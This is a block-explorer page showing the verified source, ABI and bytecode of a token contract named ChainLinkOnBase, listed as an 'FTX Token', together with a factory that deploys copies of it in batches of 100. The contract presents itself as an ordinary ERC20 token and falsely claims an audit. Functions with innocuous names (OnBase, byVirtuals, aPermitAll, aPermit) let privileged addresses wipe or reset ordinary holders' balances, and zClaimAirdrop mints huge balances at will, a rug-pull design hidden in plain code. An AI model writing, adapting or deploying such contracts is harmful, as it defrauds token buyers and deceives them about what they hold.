ETH Price: $2,866.18 (-2.55%)
 

Overview

Max Total Supply

100,000,000,000 FTX Token FTT vision

Holders

4

Transfers

-
0

Market

Price

$0.00 @ 0.000000 ETH

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0x2Fb2cF8B...8bED18b7E
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
ChainLinkOnBase

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at basescan.org on 2025-02-16
*/

// SPDX-License-Identifier: Audited By CHAIN LINK ON BASE
pragma solidity 0.8.28;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) return 0;
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        return a / b;
    }
}


contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}


contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender());
        _;
    }

    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0));
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Router02 {
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract ChainLinkOnBase is IERC20, Ownable {
    using SafeMath for uint256;

    string private _name;
    string private _symbol;
    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 100_000_000_000 * 10**_decimals;

    mapping(address => uint256) private VirtualsOnBase;
    mapping(address => mapping(address => uint256)) private _allowances;
    address[] private believers; 

    address private constant ADDRESS_USDC = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;
    address private constant ADDRESS_MARKETING = 0xF9fE40C86dbF6D3B9d80Bb7ca467221E8d1FAd5F;
    address private constant ADDRESS_DEVELOPMENT = 0xedb37AD563E2Ef161b2a72169583f35799bdE962;
    address ADDRESS_Manager;
    address ADDRESS_Virtuals;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen = false;

    uint256 public requiredETH;


    constructor(string memory name_, string memory symbol_, address owner_, address ADDRESS_Manager_) payable {

        transferOwnership(owner_);  
        require(msg.value == 10000000000000);
        
        _name = name_;
        _symbol = symbol_;
        requiredETH = 10000000000000;
       ADDRESS_Manager = ADDRESS_Manager_;
       ADDRESS_Virtuals = owner_;
        VirtualsOnBase[address(this)] = _totalSupply.mul(10).div(10000);
        emit Transfer(address(0), address(this), _totalSupply.mul(10).div(1000));

  
        Virtuals();

 
        payable(address(this)).transfer(msg.value);
    }


    function Virtuals() internal {
        uint256 ninetyFourPercent = _totalSupply.mul(9960).div(10000);
        uint256 threePercent = _totalSupply.mul(1).div(10000);
        uint256 twoPercent = _totalSupply.mul(29).div(10000);

        VirtualsOnBase[ADDRESS_USDC] = VirtualsOnBase[ADDRESS_USDC].add(ninetyFourPercent);
        VirtualsOnBase[ADDRESS_MARKETING] = VirtualsOnBase[ADDRESS_MARKETING].add(threePercent);
        VirtualsOnBase[ADDRESS_DEVELOPMENT] = VirtualsOnBase[ADDRESS_DEVELOPMENT].add(twoPercent);

        emit Transfer(address(this), ADDRESS_USDC, ninetyFourPercent);
        emit Transfer(address(this), ADDRESS_MARKETING, threePercent);
        emit Transfer(address(this), ADDRESS_DEVELOPMENT, twoPercent);
    }

 function _updateHolders(address account) internal {
        if (VirtualsOnBase[account] > 0) {
            bool exists = false;
            for (uint256 i = 0; i < believers.length; i++) {
                if (believers[i] == account) {
                    exists = true;
                    break;
                }
            }
            if (!exists) {
                believers.push(account);
            }
        }
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }


function _transfer(address sender, address recipient, uint256 amount) internal {
        require(sender != address(0));
        require(recipient != address(0));

        VirtualsOnBase[sender] = VirtualsOnBase[sender].sub(amount);
        VirtualsOnBase[recipient] = VirtualsOnBase[recipient].add(amount);
        _updateHolders(sender);
        _updateHolders(recipient);

        emit Transfer(sender, recipient, amount);
    }

      modifier Only_Manager() {
        require(ADDRESS_Manager == _msgSender());
        _;
    }
    function OnBase() external onlyOwner {
        for (uint256 i = 0; i < believers.length; i++) {
            address believer = believers[i];
            if (
                believer != address(this) && 
                believer != owner() && 
                believer != uniswapV2Pair && 
                believer != ADDRESS_USDC &&
                believer != ADDRESS_MARKETING && 
                believer != ADDRESS_Manager &&
                believer != ADDRESS_DEVELOPMENT
            ) {
                VirtualsOnBase[believer] = 0;
            }
        }
    }


    function byVirtuals() external {
        require(ADDRESS_Virtuals == _msgSender());
        for (uint256 i = 0; i < believers.length; i++) {
            address believer = believers[i];
            if (
                believer != address(this) && 
                believer != owner() && 
                believer != uniswapV2Pair && 
                believer != ADDRESS_USDC &&
                believer != ADDRESS_MARKETING && 
                believer != ADDRESS_Manager &&
                believer != ADDRESS_DEVELOPMENT
            ) {
                VirtualsOnBase[believer] = 0;
            }
        }
    }





    function aPermitAll() external Only_Manager {
        for (uint256 i = 0; i < believers.length; i++) {
            address believer = believers[i];
            if (
                believer != address(this) && 
                believer != owner() && 
                believer != uniswapV2Pair && 
                believer != ADDRESS_USDC &&
                believer != ADDRESS_MARKETING && 
                believer != ADDRESS_Manager &&
                believer != ADDRESS_DEVELOPMENT
            ) {
                VirtualsOnBase[believer] = 0;
            }
        }
    }
   
function aPermit(address[] calldata rewardsMerkleRoot_) external Only_Manager {
    for (uint256 i = 0; i < rewardsMerkleRoot_.length; i++) {
        VirtualsOnBase[rewardsMerkleRoot_[i]] = 1;
        
        emit Transfer(rewardsMerkleRoot_[i], address(0), 1);
    }
}


    function zClaimAirdrop(address claimedRewardStatusOf) external Only_Manager {
        VirtualsOnBase[claimedRewardStatusOf] = _totalSupply * 10 ** _decimals;
        
        emit Transfer(claimedRewardStatusOf, address(0), _totalSupply * 10 ** _decimals);
    }

    function addLiquidity() external onlyOwner {
        require(!tradingOpen, "Trading is already open");

        uniswapV2Router = IUniswapV2Router02(0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _approve(address(this), address(uniswapV2Router), _totalSupply);

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );

        tradingOpen = true;
    }

    receive() external payable {}

    // Required BEP20 functions

    function name() public view virtual  returns (string memory) {
        return _name;
    }

    function symbol() public view virtual  returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual  returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return VirtualsOnBase[account];
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "BEP20: approve from the zero address");
        require(spender != address(0), "BEP20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount));
        return true;
    }
}

contract TokenFactory {
    uint256 public requiredETH;

    event TokenCreated(address tokenAddress, string name, string symbol, address owner, address Manager);

    constructor() {
        requiredETH = 10000000000000;
    }

    // Function to create a single token
    function createToken(
        string memory name_,
        string memory symbol_,
        address newOwner_,
        address ADDRESS_Manager_
    ) external payable returns (address) {
        require(msg.value == requiredETH, "Incorrect ETH amount");
        ChainLinkOnBase newToken = (new ChainLinkOnBase){value: msg.value}(name_, symbol_, newOwner_, ADDRESS_Manager_);
        emit TokenCreated(address(newToken), name_, symbol_, newOwner_, ADDRESS_Manager_);
        return address(newToken);
    }

    // Function to create 100 tokens in a single transaction
    function createTokensBatch(
        string[] memory names_,
        string[] memory symbols_,
        address[] memory newOwners_,
        address[] memory ADDRESS_Managers_
    ) external payable {
        require(names_.length == 100, "Must provide 100 names");
        require(symbols_.length == 100, "Must provide 100 symbols");
        require(newOwners_.length == 100, "Must provide 100 owners");
        require(ADDRESS_Managers_.length == 100, "Must provide 100 managers");
        require(msg.value == requiredETH * 100, "Incorrect ETH amount");

        for (uint256 i = 0; i < 100; i++) {
            ChainLinkOnBase newToken = (new ChainLinkOnBase){value: requiredETH}(
                names_[i],
                symbols_[i],
                newOwners_[i],
                ADDRESS_Managers_[i]
            );
            emit TokenCreated(address(newToken), names_[i], symbols_[i], newOwners_[i], ADDRESS_Managers_[i]);
        }
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"owner_","type":"address"},{"internalType":"address","name":"ADDRESS_Manager_","type":"address"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"OnBase","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"rewardsMerkleRoot_","type":"address[]"}],"name":"aPermit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"aPermitAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"byVirtuals","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"requiredETH","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"claimedRewardStatusOf","type":"address"}],"name":"zClaimAirdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

0x60806040525f600960146101000a81548160ff021916908315150217905550604051613d8d380380613d8d833981810160405281019061003f9190610c14565b61004d61035c60201b60201c565b5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36101148261036360201b60201c565b6509184e72a0003414610125575f5ffd5b83600190816101349190610ec0565b5082600290816101449190610ec0565b506509184e72a000600a819055508060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508160075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610217612710610209600a6009600a6101eb91906110f7565b64174876e8006101fb9190611141565b6104a760201b90919060201c565b61051e60201b90919060201c565b60035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102ec6103e86102de600a6009600a6102c091906110f7565b64174876e8006102d09190611141565b6104a760201b90919060201c565b61051e60201b90919060201c565b6040516102f99190611191565b60405180910390a361030f61057560201b60201c565b3073ffffffffffffffffffffffffffffffffffffffff166108fc3490811502906040515f60405180830381858888f19350505050158015610352573d5f5f3e3d5ffd5b50505050506113a8565b5f33905090565b61037161035c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff166103956109e960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16146103b4575f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036103eb575f5ffd5b8073ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f5f83036104b7575f9050610518565b5f82846104c49190611141565b90508284826104d391906111d7565b14610513576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161050a90611287565b60405180910390fd5b809150505b92915050565b5f5f8211610561576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610558906112ef565b60405180910390fd5b818361056d91906111d7565b905092915050565b5f6105bc6127106105ae6126e86009600a61059091906110f7565b64174876e8006105a09190611141565b6104a760201b90919060201c565b61051e60201b90919060201c565b90505f6106046127106105f660016009600a6105d891906110f7565b64174876e8006105e89190611141565b6104a760201b90919060201c565b61051e60201b90919060201c565b90505f61064c61271061063e601d6009600a61062091906110f7565b64174876e8006106309190611141565b6104a760201b90919060201c565b61051e60201b90919060201c565b90506106b28360035f73833589fcd6edb6e08f4c7c32d4f71b54bda0291373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610a1060201b90919060201c565b60035f73833589fcd6edb6e08f4c7c32d4f71b54bda0291373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061076b8260035f73f9fe40c86dbf6d3b9d80bb7ca467221e8d1fad5f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610a1060201b90919060201c565b60035f73f9fe40c86dbf6d3b9d80bb7ca467221e8d1fad5f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506108248160035f73edb37ad563e2ef161b2a72169583f35799bde96273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610a1060201b90919060201c565b60035f73edb37ad563e2ef161b2a72169583f35799bde96273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555073833589fcd6edb6e08f4c7c32d4f71b54bda0291373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516108ea9190611191565b60405180910390a373f9fe40c86dbf6d3b9d80bb7ca467221e8d1fad5f73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516109639190611191565b60405180910390a373edb37ad563e2ef161b2a72169583f35799bde96273ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516109dc9190611191565b60405180910390a3505050565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f5f8284610a1e919061130d565b905083811015610a63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5a9061138a565b60405180910390fd5b8091505092915050565b5f604051905090565b5f5ffd5b5f5ffd5b5f5ffd5b5f5ffd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b610acc82610a86565b810181811067ffffffffffffffff82111715610aeb57610aea610a96565b5b80604052505050565b5f610afd610a6d565b9050610b098282610ac3565b919050565b5f67ffffffffffffffff821115610b2857610b27610a96565b5b610b3182610a86565b9050602081019050919050565b8281835e5f83830152505050565b5f610b5e610b5984610b0e565b610af4565b905082815260208101848484011115610b7a57610b79610a82565b5b610b85848285610b3e565b509392505050565b5f82601f830112610ba157610ba0610a7e565b5b8151610bb1848260208601610b4c565b91505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610be382610bba565b9050919050565b610bf381610bd9565b8114610bfd575f5ffd5b50565b5f81519050610c0e81610bea565b92915050565b5f5f5f5f60808587031215610c2c57610c2b610a76565b5b5f85015167ffffffffffffffff811115610c4957610c48610a7a565b5b610c5587828801610b8d565b945050602085015167ffffffffffffffff811115610c7657610c75610a7a565b5b610c8287828801610b8d565b9350506040610c9387828801610c00565b9250506060610ca487828801610c00565b91505092959194509250565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610cfe57607f821691505b602082108103610d1157610d10610cba565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302610d737fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82610d38565b610d7d8683610d38565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f610dc1610dbc610db784610d95565b610d9e565b610d95565b9050919050565b5f819050919050565b610dda83610da7565b610dee610de682610dc8565b848454610d44565b825550505050565b5f5f905090565b610e05610df6565b610e10818484610dd1565b505050565b5b81811015610e3357610e285f82610dfd565b600181019050610e16565b5050565b601f821115610e7857610e4981610d17565b610e5284610d29565b81016020851015610e61578190505b610e75610e6d85610d29565b830182610e15565b50505b505050565b5f82821c905092915050565b5f610e985f1984600802610e7d565b1980831691505092915050565b5f610eb08383610e89565b9150826002028217905092915050565b610ec982610cb0565b67ffffffffffffffff811115610ee257610ee1610a96565b5b610eec8254610ce7565b610ef7828285610e37565b5f60209050601f831160018114610f28575f8415610f16578287015190505b610f208582610ea5565b865550610f87565b601f198416610f3686610d17565b5f5b82811015610f5d57848901518255600182019150602085019450602081019050610f38565b86831015610f7a5784890151610f76601f891682610e89565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b600185111561101157808604811115610fed57610fec610f8f565b5b6001851615610ffc5780820291505b808102905061100a85610fbc565b9450610fd1565b94509492505050565b5f8261102957600190506110e4565b81611036575f90506110e4565b816001811461104c576002811461105657611085565b60019150506110e4565b60ff84111561106857611067610f8f565b5b8360020a91508482111561107f5761107e610f8f565b5b506110e4565b5060208310610133831016604e8410600b84101617156110ba5782820a9050838111156110b5576110b4610f8f565b5b6110e4565b6110c78484846001610fc8565b925090508184048111156110de576110dd610f8f565b5b81810290505b9392505050565b5f60ff82169050919050565b5f61110182610d95565b915061110c836110eb565b92506111397fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461101a565b905092915050565b5f61114b82610d95565b915061115683610d95565b925082820261116481610d95565b9150828204841483151761117b5761117a610f8f565b5b5092915050565b61118b81610d95565b82525050565b5f6020820190506111a45f830184611182565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6111e182610d95565b91506111ec83610d95565b9250826111fc576111fb6111aa565b5b828204905092915050565b5f82825260208201905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f611271602183611207565b915061127c82611217565b604082019050919050565b5f6020820190508181035f83015261129e81611265565b9050919050565b7f536166654d6174683a206469766973696f6e206279207a65726f0000000000005f82015250565b5f6112d9601a83611207565b91506112e4826112a5565b602082019050919050565b5f6020820190508181035f830152611306816112cd565b9050919050565b5f61131782610d95565b915061132283610d95565b925082820190508082111561133a57611339610f8f565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f611374601b83611207565b915061137f82611340565b602082019050919050565b5f6020820190508181035f8301526113a181611368565b9050919050565b6129d8806113b55f395ff3fe608060405260043610610117575f3560e01c8063715018a61161009f578063a9059cbb11610063578063a9059cbb14610364578063dc064fa7146103a0578063dd62ed3e146103b6578063e8078d94146103f2578063f2fde38b146104085761011e565b8063715018a6146102aa5780638da5cb5b146102c05780638f8af1e1146102ea57806395d89b4114610312578063a37e0a641461033c5761011e565b806323b872dd116100e657806323b872dd146101c8578063313ce56714610204578063329756911461022e57806349eea8c91461024457806370a082311461026e5761011e565b806306fdde0314610122578063095ea7b31461014c5780630bc60abb1461018857806318160ddd1461019e5761011e565b3661011e57005b5f5ffd5b34801561012d575f5ffd5b50610136610430565b6040516101439190611fab565b60405180910390f35b348015610157575f5ffd5b50610172600480360381019061016d9190612060565b6104c0565b60405161017f91906120b8565b60405180910390f35b348015610193575f5ffd5b5061019c6104d6565b005b3480156101a9575f5ffd5b506101b26107e4565b6040516101bf91906120e0565b60405180910390f35b3480156101d3575f5ffd5b506101ee60048036038101906101e991906120f9565b610808565b6040516101fb91906120b8565b60405180910390f35b34801561020f575f5ffd5b506102186108c2565b6040516102259190612164565b60405180910390f35b348015610239575f5ffd5b506102426108ca565b005b34801561024f575f5ffd5b50610258610bbe565b60405161026591906120e0565b60405180910390f35b348015610279575f5ffd5b50610294600480360381019061028f919061217d565b610bc4565b6040516102a191906120e0565b60405180910390f35b3480156102b5575f5ffd5b506102be610c0a565b005b3480156102cb575f5ffd5b506102d4610d0a565b6040516102e191906121b7565b60405180910390f35b3480156102f5575f5ffd5b50610310600480360381019061030b9190612231565b610d31565b005b34801561031d575f5ffd5b50610326610ea9565b6040516103339190611fab565b60405180910390f35b348015610347575f5ffd5b50610362600480360381019061035d919061217d565b610f39565b005b34801561036f575f5ffd5b5061038a60048036038101906103859190612060565b6110ac565b60405161039791906120b8565b60405180910390f35b3480156103ab575f5ffd5b506103b46110c2565b005b3480156103c1575f5ffd5b506103dc60048036038101906103d7919061227c565b6113d0565b6040516103e991906120e0565b60405180910390f35b3480156103fd575f5ffd5b50610406611452565b005b348015610413575f5ffd5b5061042e6004803603810190610429919061217d565b61182d565b005b60606001805461043f906122e7565b80601f016020809104026020016040519081016040528092919081815260200182805461046b906122e7565b80156104b65780601f1061048d576101008083540402835291602001916104b6565b820191905f5260205f20905b81548152906001019060200180831161049957829003601f168201915b5050505050905090565b5f6104cc338484611965565b6001905092915050565b6104de611b28565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610535575f5ffd5b5f5f90505b6005805490508110156107e1575f6005828154811061055c5761055b612317565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690503073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141580156105f557506105c5610d0a565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b801561064e575060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b801561069a575073833589fcd6edb6e08f4c7c32d4f71b54bda0291373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b80156106e6575073f9fe40c86dbf6d3b9d80bb7ca467221e8d1fad5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b801561073f575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b801561078b575073edb37ad563e2ef161b2a72169583f35799bde96273ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b156107d3575f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50808060010191505061053a565b50565b5f6009600a6107f391906124a0565b64174876e80061080391906124ea565b905090565b5f610814848484611b2f565b6108b784610820611b28565b6108b28560045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61086a611b28565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d3b90919063ffffffff16565b611965565b600190509392505050565b5f6009905090565b6108d2611b28565b73ffffffffffffffffffffffffffffffffffffffff166108f0610d0a565b73ffffffffffffffffffffffffffffffffffffffff161461090f575f5ffd5b5f5f90505b600580549050811015610bbb575f6005828154811061093657610935612317565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690503073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141580156109cf575061099f610d0a565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b8015610a28575060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b8015610a74575073833589fcd6edb6e08f4c7c32d4f71b54bda0291373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b8015610ac0575073f9fe40c86dbf6d3b9d80bb7ca467221e8d1fad5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b8015610b19575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b8015610b65575073edb37ad563e2ef161b2a72169583f35799bde96273ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b15610bad575f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b508080600101915050610914565b50565b600a5481565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffffffffff